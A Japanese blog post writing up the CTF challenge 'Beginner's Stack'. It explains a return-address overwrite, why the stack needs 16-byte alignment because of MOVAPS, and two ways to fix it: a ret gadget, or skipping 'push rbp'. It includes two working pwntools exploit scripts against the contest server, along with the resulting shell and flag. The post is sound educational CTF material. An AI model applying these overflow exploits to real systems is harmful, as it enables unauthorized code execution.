いい感じに生きる

低レイヤとMCUとMr.childrenを愛しています。

Pwnにおけるスタックのアライメント(2020/05/29)

(2022/1/17)Qiitaからhatenaに移行しました。

Beginner's Stack

Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd3416a8f0 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffd3416a8f8 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd3416a900 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffd3416a908 | 0x00007f1ce972d190 |
                   +--------------------+
0x00007ffd3416a910 | 0x00007ffd3416a920 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd3416a918 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffd3416a920 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007ffd3416a928 | 0x00007f1ce95200b3 | <-- return address (main)
                   +--------------------+
0x00007ffd3416a930 | 0x00007f1ce972b620 |
                   +--------------------+
0x00007ffd3416a938 | 0x00007ffd3416aa18 |
                   +--------------------+

Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd3416a8f0 | 0x4141414141414141 | <-- buf
                   +--------------------+
0x00007ffd3416a8f8 | 0x4141414141414141 |
                   +--------------------+
0x00007ffd3416a900 | 0x4141414141414141 |
                   +--------------------+
0x00007ffd3416a908 | 0x4141414141414141 |
                   +--------------------+
0x00007ffd3416a910 | 0x4141414141414141 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd3416a918 | 0x4141414141414141 | <-- return address (vuln)
                   +--------------------+
0x00007ffd3416a920 | 0x000000000000000a | <-- saved rbp (main)
                   +--------------------+
0x00007ffd3416a928 | 0x00007f1ce95200b3 | <-- return address (main)
                   +--------------------+
0x00007ffd3416a930 | 0x00007f1ce972b620 |
                   +--------------------+
0x00007ffd3416a938 | 0x00007ffd3416aa18 |
                   +--------------------+

Segmentation fault (コアダンプ)

典型的なスタックオーバーフローです。冒頭に書かれているように、0x400861にあるwin関数を呼び出せればflagが得られます。入力前後のスタックの状態が図示されており、"vuln"のリターンアドレスが意味のない場所に参照されるとSegmentation faultで落ちます。なので、ダミー40文字+"win"のアドレスを入力することで"vuln"のリターンアドレスを書き換えます。しかし実行すると

$ python2 -c 'print "A" * 40 + "\x61\x08\x40\x00\x00\x00\x00\x00"' | ./chall 

〜中略〜

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

と言われます。RSPがずれているそうです。ここで必要なのがアラインメントです。

スタックのアラインメント

x86-64 モード用の呼び出し規約では,浮動小数点数の受け渡しは XMM0 などのレジスタを用います. メモリと XMM0 系のレジスタ間で値を転送する命令(MOVAPS や MOVAPD など)は,メモリ上の値が 16 バイト境界に配置されていることを要求します. コンパイラは,関数呼び出し時のスタックポインタが 16 バイト整列されていることを前提に,MOVAPS や MOVPAD 命令を発行します. また,他の関数を呼び出すときには必ずスタックポインタが 16 バイト整列するように調整する責任があります. 参照:https://uchan.hateblo.jp/entry/2018/02/16/232029

つまり何が言いたいかというと、コンパイラは関数を呼び出すときにスタックポインタが16(0x10)の倍数のアドレスに調整されているため、Pwnにおいてスタックを書き換えるときも同様に調節する必要があるということです。MOVAPS命令はsystem関数等の動作に影響するため、このままではシェルが起動できません。参照しているuchanさんのブログの"スタックのアライメントの実例"に詳しく書かれています。

ここではBeginner's StackにおけるRSPのアラインを考えていきます。

0000000000400861 <win>:
  400861:   55                      push   rbp
  400862:   48 89 e5                mov    rbp,rsp
  400865:   48 83 ec 10             sub    rsp,0x10
  400869:   48 89 e0                mov    rax,rsp

これはwin関数の頭の部分の処理です。rbpがpushされた後にsub rsp,0x10されています。(※図のアドレスは適当です) stack alignment1.png

本来callによってwin関数のリターンアドレスが積まれるはずが、retで呼ばれているため積まれず、rspが8byteずれていることがわかります。これの回避の仕方は以下の2通りです。(※図のアドレスは適当です)

ret gadgetを使う

1つは、適当なret gadgetを挟む方法です。ret gadgetを使ってそろえます。 まずret gadgetを探します。

gdb-peda$ ropgadget 
ret = 0x400626
popret = 0x400728
addesp_8 = 0x400623

0x400626にret gadgetがあることがわかりました。retq命令はrspのメモリアドレスの値をripに格納し、rspをインクリメントします。

400626:   c3                      retq 

stack alignment2.png exploitコードは以下です。

from pwn import * 

context(os="linux" , arch="i386")

conn = remote('bs.quals.beginners.seccon.jp',9001)

payload  = ""
payload += "A" * 40
payload += p64(0x400626)
payload += p64(0x400861)

conn.sendline(payload)
conn.interactive()
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ 

push rbpを飛ばす

2つめはpush rbpの後に飛ばす方法です。0x400861のpush rbpを飛ばすことでリターンアドレス分の8byteをそろえることができます。 stack alignment3.png

push rbpの次からなので、0x400862をリターンアドレスにします。このときはret gadgetはいりません。exploitコードは以下です。

from pwn import * 

context(os="linux" , arch="i386")

conn = remote('bs.quals.beginners.seccon.jp',9001)

payload  = ""
payload += "A" * 40
payload += p64(0x400862)

conn.sendline(payload)
conn.interactive()

こちらでも同様にflagがとれました。